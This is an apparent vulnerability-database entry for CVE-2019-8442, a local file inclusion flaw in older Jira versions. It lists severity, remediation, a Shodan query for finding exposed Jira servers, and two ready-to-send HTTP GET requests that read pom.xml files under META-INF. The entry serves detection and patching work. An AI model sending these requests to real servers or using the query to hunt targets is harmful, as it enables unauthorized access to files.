🔙 목록으로 돌아가기

CVE-2019-8442: Jira - Local File Inclusion

TitleJira - Local File Inclusion
AuthorKishore Krishna (siLLyDaddy)
SeverityHigh
ImpactThis vulnerability can result in sensitive information exposure, unauthorized access to files, and potential compromise of the Jira application.
RemediationApply the latest security patches or updates provided by Atlassian to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.93279
CVE IDCVE-2019-8442
Shodan Queryhttp.component:"Atlassian Jira"http.component:"atlassian jira"http.component:"atlassian confluence"cpe:"cpe:2.3:a:atlassian:jira"
Tags cve cve2019 atlassian jira lfi intrusive vkev vuln

🔍 Vulnerability Description

Jira before version 7.13.4, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1, allows remote attackers to access files in the Jira webroot under the META-INF directory via local file inclusion.

🌐 HTTP Request

GET /s/38FZX5nhXxscuXGUoeg7kbVPX8L/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /s/38FZX5nhXxscuXGUoeg7kbVPX8L/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8442.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-8442.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A